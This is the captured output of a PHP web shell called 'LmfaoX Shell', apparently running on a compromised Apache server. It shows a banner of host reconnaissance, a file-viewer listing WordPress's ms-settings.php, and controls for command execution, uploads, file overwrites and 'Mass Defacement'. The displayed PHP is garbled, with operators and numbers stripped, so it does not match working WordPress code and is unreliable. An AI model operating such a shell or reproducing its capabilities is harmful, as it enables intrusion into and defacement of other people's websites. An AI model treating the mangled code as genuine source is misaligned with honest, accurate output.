ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:30.71 GB of 70.42 GB (43.62%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ marphoto/ wp-includes/ - drwxr-xr-x

Directory:
Viewing file:     ms-settings.php (5.29 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Used to set up and fix common variables and include
 * the Multisite procedural and class library.
 *
 * Allows for some configuration in wp-config.php (see ms-default-constants.php)
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Include Multisite initialization functions */
require( ABSPATH WPINC '/ms-load.php' );
require( 
ABSPATH WPINC '/ms-default-constants.php' );

if ( 
defined'SUNRISE' ) )
    include_once( 
WP_CONTENT_DIR '/sunrise.php' );

/** Check for and define SUBDOMAIN_INSTALL and the deprecated VHOST constant. */
ms_subdomain_constants();

if ( !isset( 
$current_site ) || !isset( $current_blog ) ) {

    
$domain addslashes$_SERVER['HTTP_HOST'] );
    if ( 
false !== strpos$domain':' ) ) {
        if ( 
substr$domain, -) == ':80' ) {
            
$domain substr$domain0, -);
            
$_SERVER['HTTP_HOST'] = substr$_SERVER['HTTP_HOST'], 0, -);
        } elseif ( 
substr$domain, -) == ':443' ) {
            
$domain substr$domain0, -);
            
$_SERVER['HTTP_HOST'] = substr$_SERVER['HTTP_HOST'], 0, -);
        } else {
            
wp_load_translations_early();
            
wp_die__'Multisite only works without the port number in the URL.' ) );
        }
    }

    
$domain rtrim$domain'.' );
    
$cookie_domain $domain;
    if ( 
substr$cookie_domain0) == 'www.' )
        
$cookie_domain substr$cookie_domain);

    
$path preg_replace'|([a-z0-9-]+.php.*)|'''$_SERVER['REQUEST_URI'] );
    
$path str_replace '/wp-admin/''/'$path );
    
$path preg_replace'|(/[a-z0-9-]+?/).*|''$1'$path );

    
$current_site wpmu_current_site();
    if ( ! isset( 
$current_site->blog_id ) )
        
$current_site->blog_id $wpdb->get_var$wpdb->prepare"SELECT blog_id FROM $wpdb->blogs WHERE domain = %s AND path = %s"$current_site->domain$current_site->path ) );

    if ( 
is_subdomain_install() ) {
        
$current_blog wp_cache_get'current_blog_' $domain'site-options' );
        if ( !
$current_blog ) {
            
$current_blog get_blog_details( array( 'domain' => $domain ), false );
            if ( 
$current_blog )
                
wp_cache_set'current_blog_' $domain$current_blog'site-options' );
        }
        if ( 
$current_blog && $current_blog->site_id != $current_site->id ) {
            
$current_site $wpdb->get_row$wpdb->prepare"SELECT * FROM $wpdb->site WHERE id = %d"$current_blog->site_id ) );
            if ( ! isset( 
$current_site->blog_id ) )
                
$current_site->blog_id $wpdb->get_var$wpdb->prepare"SELECT blog_id FROM $wpdb->blogs WHERE domain = %s AND path = %s"$current_site->domain$current_site->path ) );
        } else
            
$blogname substr$domain0strpos$domain'.' ) );
    } else {
        
$blogname htmlspecialcharssubstr$_SERVER'REQUEST_URI' ], strlen$path ) ) );
        if ( 
false !== strpos$blogname'/' ) )
            
$blogname substr$blogname0strpos$blogname'/' ) );
        if ( 
false !== strpos$blogname'?' ) )
            
$blogname substr$blogname0strpos$blogname'?' ) );
        
$reserved_blognames = array( 'page''comments''blog''wp-admin''wp-includes''wp-content''files''feed' );
        if ( 
$blogname != '' && ! in_array$blogname$reserved_blognames ) && ! is_file$blogname ) )
            
$path .= $blogname '/';
        
$current_blog wp_cache_get'current_blog_' $domain $path'site-options' );
        if ( ! 
$current_blog ) {
            
$current_blog get_blog_details( array( 'domain' => $domain'path' => $path ), false );
            if ( 
$current_blog )
                
wp_cache_set'current_blog_' $domain $path$current_blog'site-options' );
        }
        unset(
$reserved_blognames);
    }

    if ( ! 
defined'WP_INSTALLING' ) && is_subdomain_install() && ! is_object$current_blog ) ) {
        if ( 
defined'NOBLOGREDIRECT' ) ) {
            
$destination NOBLOGREDIRECT;
            if ( 
'%siteurl%' == $destination )
                
$destination "http://" $current_site->domain $current_site->path;
        } else {
            
$destination 'http://' $current_site->domain $current_site->path 'wp-signup.php?new=' str_replace'.' $current_site->domain''$domain );
        }
        
header'Location: ' $destination );
        die();
    }

    if ( ! 
defined'WP_INSTALLING' ) ) {
        if ( 
$current_site && ! $current_blog ) {
            if ( 
$current_site->domain != $_SERVER'HTTP_HOST' ] ) {
                
header'Location: http://' $current_site->domain $current_site->path );
                exit;
            }
            
$current_blog get_blog_details( array( 'domain' => $current_site->domain'path' => $current_site->path ), false );
        }
        if ( ! 
$current_blog || ! $current_site )
            
ms_not_installed();
    }

    
$blog_id $current_blog->blog_id;
    
$public  $current_blog->public;

    if ( empty( 
$current_blog->site_id ) )
        
$current_blog->site_id 1;
    
$site_id $current_blog->site_id;

    
$current_site get_current_site_name$current_site );

    if ( ! 
$blog_id ) {
        if ( 
defined'WP_INSTALLING' ) ) {
            
$current_blog->blog_id $blog_id 1;
        } else {
            
wp_load_translations_early();
            
$msg = ! $wpdb->get_var"SHOW TABLES LIKE '$wpdb->site'" ) ? ' ' __'Database tables are missing.' ) : '';
            
wp_die__'No site by that name on this system.' ) . $msg );
        }
    }
}
$wpdb->set_prefix$table_prefixfalse ); // $table_prefix can be set in sunrise.php
$wpdb->set_blog_id$current_blog->blog_id$current_blog->site_id );
$table_prefix $wpdb->get_blog_prefix();
$_wp_switched_stack = array();
$switched false;

// need to init cache again after blog_id is set
wp_start_object_cache();

// Define upload directory constants
ms_upload_constants();
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2769 seconds